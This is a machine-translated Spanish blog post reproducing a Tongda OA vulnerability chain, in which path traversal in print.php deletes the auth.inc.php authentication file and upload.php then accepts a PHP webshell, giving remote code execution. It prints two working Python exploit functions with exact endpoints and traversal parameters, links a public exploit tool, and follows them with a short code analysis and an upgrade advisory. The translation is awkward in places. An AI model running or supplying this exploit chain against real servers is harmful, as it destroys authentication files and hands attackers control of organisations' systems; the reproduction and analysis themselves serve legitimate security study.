Eliminación de archivos arbitrarios de Tongda OA / acceso no autorizado de OA + carga de archivos arbitrarios Reproducción de vulnerabilidades de RCE

0x00 introducción

Tongda OA utiliza informática empresarial basada en WEB, y el servidor HTTP principal utiliza el servidor Apache más avanzado del mundo, con un rendimiento estable y fiable. El control centralizado del acceso a los datos evita la posibilidad de fuga de datos. Proporcione herramientas de respaldo de datos para proteger la seguridad de los datos del sistema. El control de autoridad multinivel, la verificación completa de contraseña y los mecanismos de verificación de inicio de sesión mejoran la seguridad del sistema.

Hoy leí muchos artículos de Tongda OA y realicé una ola de análisis basada en algunos días 0 que aparecieron en la red de guardia. Sentí que el análisis de los jefes de 9hu estaba en su lugar. Entonces, tomemos esto como un punto de referencia y mire esta vulnerabilidad más influyente. Entonces siento que las vulnerabilidades que aparecen son solo superficiales, y algunas de ellas definitivamente no son anunciadas, incluidas algunas vulnerabilidades que he auditado en otras versiones antes, que pueden ser explotadas. Siempre siento que el código escrito por tecnología no es muy perfecto ., Todavía es necesario seguir mejorando, y sin duda seguirá haciendo agujeros en el futuro, esto es inevitable.

Descripción de la vulnerabilidad 0x01

La vulnerabilidad se debe a la existencia de una vulnerabilidad de eliminación de archivos arbitrarios en print.php. Al eliminar el archivo de autenticación de identidad de Tongda OA auth.inc.php para evitar la restricción de inicio de sesión, combinado con la carga de archivos arbitrarios para lograr el efecto de RCE

0x02 Versión afectada

 Tongda OA <v11.5 & v11.6 versión (cualquier eliminación de archivo solo afecta a 11.6, el acceso no autorizado afecta a <11.5)

0x03 Construcción del entorno de vulnerabilidad

1. Descarga:

https://cdndown.tongda2000.com/oa/2019/TDOA11.6.exe

https://cdndown.tongda2000.com/oa/2019/TDOA11.4.exe

2. Haga doble clic para instalar directamente en Windows, nombre de usuario de administrador de OA: la contraseña de administrador está vacía

Haga clic en Aceptar para visitar

Nombre de usuario del administrador de OA: admin La contraseña está vacía
Utilice la herramienta de descifrado SeayDzend para descifrar el código fuente

Tongda OA11.6 y herramienta de descifrado:
Enlace: https://pan.baidu.com/s/1Wh9g4Xp1nIqZ5zPRt8rARg Contraseña: 77ch

0x04 Recurrencia de la vulnerabilidad

¡Nota! ¡La vulnerabilidad eliminará archivos del servidor! ¡Reproduzca con cuidado!

Dirección de descarga de la herramienta:

https://github.com/admintony/TongdaRCE

Utilice la secuencia de comandos para eliminar el archivo y luego iniciar sesión se convertirá en así

Así que asegúrese de recordar: no utilice el entorno de red de forma indiscriminada, ¡cree una reproducción local!

Instale tongda 11.4, use una vulnerabilidad no autorizada combinada con la carga de archivos arbitrarios getshell

La cadena de utilización de getshell es la siguiente:

""" 11.6版本 getshell利用链 """
def getShellV11_6(target):
    print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")
    input("Press enter to continue")
    print("[*]Deleting auth.inc.php....")
    url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"
    requests.get(url=url,verify=False)
    print("[*]Checking if file deleted...")
    url=target+"/inc/auth.inc.php"
    page=requests.get(url=url,verify=False).text
    if 'No input file specified.' not in page:
        print("[-]Failed to deleted auth.inc.php")
        exit(-1)
    print("[+]Successfully deleted auth.inc.php!")
    print("[*]Uploading payload...")
    url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"
    files = {'FILE1': ('at.php', payload)}
    res=requests.post(url=url,files=files,verify=False)
    url=target+"/_at.php"
    page=requests.get(url=url,verify=False).text
    if 'No input file specified.' not in page:
        print("[+]Filed Uploaded Successfully")
        print("[+]URL:",url)
    else:
        print("[-]Failed to upload file")

""" 低于11.5版本 getshell利用链 """
def getShellV11_x(target):
    cookie=getV11Session(target)
    if not cookie:
        print("[-] Failed to get Session")
        return
    headers={"Cookie":cookie+";_SERVER="}
    print("[*]Uploading payload...")
    url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"
    files = {'FILE1': ('at.php', payload)}
    res=requests.post(url=url,files=files,headers=headers,verify=False)
    url=target+"/_at.php"
    page=requests.get(url=url,verify=False).text
    if 'No input file specified.' not in page:
        print("[+]Filed Uploaded Successfully")
        print("[+]URL:",url)
    else:
        print("[-]Failed to upload file")

0x05 análisis de vulnerabilidades

A partir de la EXP publicada en Internet, se puede saber que el archivo auth.inc.php será eliminado. Este archivo es utilizado por Tongda para la autenticación. Se incluirá en todos los archivos que requieren acceso de inicio de sesión. Incluyendo upload.php que se utilizará más tarde. Este archivo está incluido, pero se incluye a través de include, que es diferente de require. Si el archivo de inclusión no existe, include no hará que el programa finalice.

Luego, ubique el punto de vulnerabilidad /module/appbuilder/assets/print.php donde se elimina cualquier archivo. Sencillamente, las primeras 6 líneas de código se pueden utilizar para eliminar archivos arbitrarios.

Siempre que GET pase el valor guid = .. / .. / .. / webroot / inc / auth.inc.php, puede eliminar el archivo de autenticación descrito anteriormente introduciendo unlink, y la mayoría de los lugares que requieren autenticación dejarán de ser válidos .

Antes de introducir el uso de upload.php, hablemos de la cobertura de variables ancestrales de Tongda OA. Hay una trampa aquí es que algunas herramientas de descifrado perderán un $, lo que hará que el cabello pierda un teclado y no entiendo dónde se cubren las variables ... Debido a que el archivo es common.inc.php, es concebible que la mayoría de los archivos tienen Incluir, la mayoría de los lugares se pueden manipular con cobertura variable.

Luego, ubique el punto de carga /general/data_center/utils/upload.php, la acción de anulación de la variable de la novena línea es cargar el disco en if, entonces nuestra ubicación de carga es / data_center / attach. La variable de la línea 84 sobrescribe s_n como nuestro archivo malicioso, y la ubicación de carga de la línea 90 empalmada con s_n es la ubicación de nuestro archivo final. Aquí, la variable que cubre repkid en la línea 87 es ../../../ para que el directorio pueda ser atravesado y nuestros caballos puedan colocarse en otros directorios, por eso diré más adelante.

Consulte el artículo del predecesor, la razón por la que el directorio debe recorrerse a otras ubicaciones para almacenar caballos es porque nginx de Tongda OA restringe los derechos de acceso de los archivos en el directorio de archivos adjuntos, lo que nos impide analizar nuestros caballos normalmente. ~ * representa un patrón regular y no se permiten archivos confidenciales, como PHP, que comiencen con un archivo adjunto.

Sugerencia de reparación 0x06

Actualice a la última versión.

Indique: Blog de Adminxe  »  Eliminación arbitraria de archivos de Tongda OA / acceso no autorizado de OA + carga de archivos arbitrarios Reproducción de vulnerabilidad RCE

Supongo que te gusta

Origin blog.csdn.net/Adminxe/article/details/108734002
Recomendado
Clasificación